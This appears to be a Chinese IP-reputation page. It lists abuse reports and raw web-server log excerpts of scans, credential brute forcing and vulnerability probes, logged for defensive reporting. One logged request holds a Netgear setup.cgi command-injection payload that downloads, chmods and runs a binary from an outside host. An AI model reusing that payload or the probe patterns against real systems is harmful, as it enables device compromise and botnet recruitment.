城市(city): unknown
省份(region): unknown
国家(country): China
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 120.42.132.232 | attackspambots | Brute forcing email accounts |
2020-10-01 07:05:30 |
| 120.42.132.232 | attackspambots | Brute forcing email accounts |
2020-09-30 23:31:26 |
| 120.42.132.232 | attack | Brute forcing email accounts |
2020-09-30 16:00:09 |
| 120.42.132.62 | attack | MultiHost/MultiPort Probe, Scan, Hack - |
2019-11-22 02:20:52 |
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 120.42.132.21
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 1890
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;120.42.132.21. IN A
;; AUTHORITY SECTION:
. 316 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022031102 1800 900 604800 86400
;; Query time: 16 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Mar 12 12:37:01 CST 2022
;; MSG SIZE rcvd: 10621.132.42.120.in-addr.arpa domain name pointer 21.132.42.120.broad.qz.fj.dynamic.163data.com.cn.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
21.132.42.120.in-addr.arpa name = 21.132.42.120.broad.qz.fj.dynamic.163data.com.cn.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 37.59.1.165 | bots | 37.59.1.165 - - [24/Apr/2019:08:38:38 +0800] "GET //CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 37.59.1.165 - - [24/Apr/2019:08:38:40 +0800] "GET //CHANGELOG.txt HTTP/1.1" 308 257 "-" "libwww-perl/6.04" 37.59.1.165 - - [24/Apr/2019:08:38:41 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 37.59.1.165 - - [24/Apr/2019:08:38:42 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 404 232 "-" "libwww-perl/6.04" |
2019-04-24 08:57:21 |
| 111.206.36.142 | bots | 111.206.36.142 - - [24/Apr/2019:08:50:04 +0800] "GET /index.php/category/root/apple/ HTTP/1.1" 200 20644 "http://www.baidu.com/s?wd=sleptij3" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" 111.206.36.142 - - [24/Apr/2019:08:50:05 +0800] "GET /wp-includes/js/wp-emoji-release.min.js?ver=5.1.1 HTTP/1.1" 200 4855 "https://www.eznewstoday.com/index.php/category/root/apple/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 " 111.206.36.142 - - [24/Apr/2019:08:50:05 +0800] "GET /wp-content/plugins/wp-quicklatex/css/quicklatex-format.css?ver=5.1.1 HTTP/1.1" 200 1032 "https://www.eznewstoday.com/index.php/category/root/apple/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/2 0100101 Firefox/43.0" 111.206.36.11 - - [24/Apr/2019:08:50:05 +0800] "GET /wp-content/themes/twentyfifteen/genericons/genericons.css?ver=3.2 HTTP/1.1" 200 17235 "https://www.eznewstoday.com/index.php/category/root/apple/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/2010 |
2019-04-24 12:24:25 |
| 171.221.170.111 | attack | 171.221.170.111 - - [25/Apr/2019:00:03:47 +0800] "GET /_async/AsyncResponseService HTTP/1.1" 404 521 "-" "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0" |
2019-04-25 05:29:43 |
| 31.193.131.164 | botsattack | 31.193.131.164 - - [04/May/2019:08:58:36 +0800] "GET /wp-json/wp/v2/users HTTP/1.1" 301 194 "-" "python-requests/2.21.0" 31.193.131.164 - - [04/May/2019:08:58:42 +0800] "GET /wp-json/wp/v2/users HTTP/1.1" 404 209 "-" "python-requests/2.21.0" |
2019-05-04 08:59:08 |
| 185.244.25.124 | attack | 185.244.25.124 - - [26/Apr/2019:05:01:46 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://185.244.25.124/bins/maouji.mips%20-O%20/var/tmp/maouji.mips;%20chmod%20777%20/var/tmp/maouji.mips;%20/var/tmp/maouji.mips netgear;%20rm%20-rf%20/var/tmp/maouji.mips&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-04-26 05:02:44 |
| 120.229.105.36 | bots | 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/209.115.52.221 HTTP/1.1" 200 10546 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/253.33.190.235 HTTP/1.1" 200 9660 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/139.28.174.99 HTTP/1.1" 200 10474 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" 120.229.105.36 - - [05/May/2019:09:09:01 +0800] "GET /check-ip/116.52.76.202 HTTP/1.1" 200 9692 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" |
2019-05-05 09:10:43 |
| 41.58.74.105 | bots | 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/185.244.25.124 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/72.14.199.112 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/222.186.10.54 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/5.231.205.168 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" 41.58.74.105 - - [01/May/2019:08:55:44 +0800] "HEAD /check-ip/138.91.125.32 HTTP/1.1" 200 0 "https://ipinfo.asytech.cn/check-ip/68.0.71.29" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2376.69 Safari/537.36" |
2019-05-01 09:10:16 |
| 178.62.237.197 | botsattack | UDP Flood attack port:0 to port:0 |
2019-05-05 15:10:19 |
| 194.36.98.109 | botsattack | 194.36.98.109 - - [03/May/2019:07:48:07 +0800] "GET /index.php?option=com_user&task=register HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:09 +0800] "GET /index.php/component/users/?view=registration HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:11 +0800] "GET /modules.php?name=Your_Account HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:15 +0800] "GET /member/ HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:18 +0800] "GET /index.php?act=dispMemberLoginForm HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:24 +0800] "GET /yabb.pl HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" 194.36.98.109 - - [03/May/2019:07:48:27 +0800] "GET /YaBB.cgi HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36" |
2019-05-03 07:49:04 |
| 159.138.35.59 | attack | 159.138.35.59 - - [23/Apr/2019:21:23:50 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:52 +0800] "GET /.env HTTP/1.1" 301 194 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:59 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" |
2019-04-23 21:25:16 |
| 171.8.219.231 | attack | 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "POST /FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.1" 404 557 "http://www.eznewstoday.com/FCKeditor/editor/filemanager/connectors/asp/connect or.asp?Command=FileUpload&Type=File&CurrentFolder=%2F" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "GET /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1" 301 329 "http://www.eznewstoday.com/index.php?m=member&c=index&a=register&siteid=1" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "POST /admin_aspcms/_system/AspCms_SiteSetting.asp HTTP/1.1" 404 542 "http://www.eznewstoday.com/admin_aspcms/_system/AspCms_SiteSetting.asp" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:49 +0800] "GET /plus/moon.php HTTP/1.1" 404 512 "http://www.eznewstoday.com/plus/moon.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:50 +0800] "POST /plus/90sec.php HTTP/1.1" 404 513 "http://www.eznewstoday.com/plus/90sec.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 171.8.219.231 - - [24/Apr/2019:11:55:50 +0800] "POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1" 404 524 "http://www.eznewstoday.com/utility/convert/index.php?a=config&source=d7.2_x2.0" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2 )" |
2019-04-24 12:21:27 |
| 114.35.105.141 | botsattack | 爬虫攻击phpadmin、pma、sql等 |
2019-05-05 11:08:25 |
| 36.27.67.156 | bots | Google Adsense爬虫，需要登录信息 36.27.67.156 - - [28/Apr/2019:20:17:53 +0800] "POST /cloud/index.php/login HTTP/1.1" 302 5497 "https://www.google.com/adsense/new/u/0/pub-4033115867612748/main/sitepermissions" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36" "/cloud/index.php/login" 36.27.67.156 - - [28/Apr/2019:20:17:54 +0800] "GET /cloud/index.php/login HTTP/1.1" 303 1150 "https://www.google.com/adsense/new/u/0/pub-4033115867612748/main/sitepermissions" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36" "https://asytech.cn/cloud/index.php/apps/files/" 36.27.67.156 - - [28/Apr/2019:20:17:54 +0800] "GET /cloud/index.php/apps/files/ HTTP/1.1" 200 8484 "https://www.google.com/adsense/new/u/0/pub-4033115867612748/main/sitepermissions" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36" "-" |
2019-04-28 20:21:35 |
| 152.32.69.29 | attack | 152.32.69.29 - - [23/Apr/2019:15:06:14 +0800] "POST https://www.eznewstoday.com/wp-login.php HTTP/1.1" 200 5534 "https://www.eznewstoday.com/wp-login.php" "Mozilla/5.0 (Windows NT 5.0; rv:52.50.97) Gecko/20149211 Firefox/52.50.97" |
2019-04-23 15:36:37 |
| 13.68.231.137 | botsattack | 13.68.231.137 - - [25/Apr/2019:22:18:33 +0800] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 13.68.231.137 - - [25/Apr/2019:22:18:33 +0800] "Accept-Language: en-US,en;q=0.5" 400 182 "-" "-" 13.68.231.137 - - [25/Apr/2019:22:18:34 +0800] "GET /xmlrpc.php?rsd HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 13.68.231.137 - - [25/Apr/2019:22:18:35 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 13.68.231.137 - - [25/Apr/2019:22:18:35 +0800] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 13.68.231.137 - - [25/Apr/2019:22:18:35 +0800] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-04-25 22:19:27 |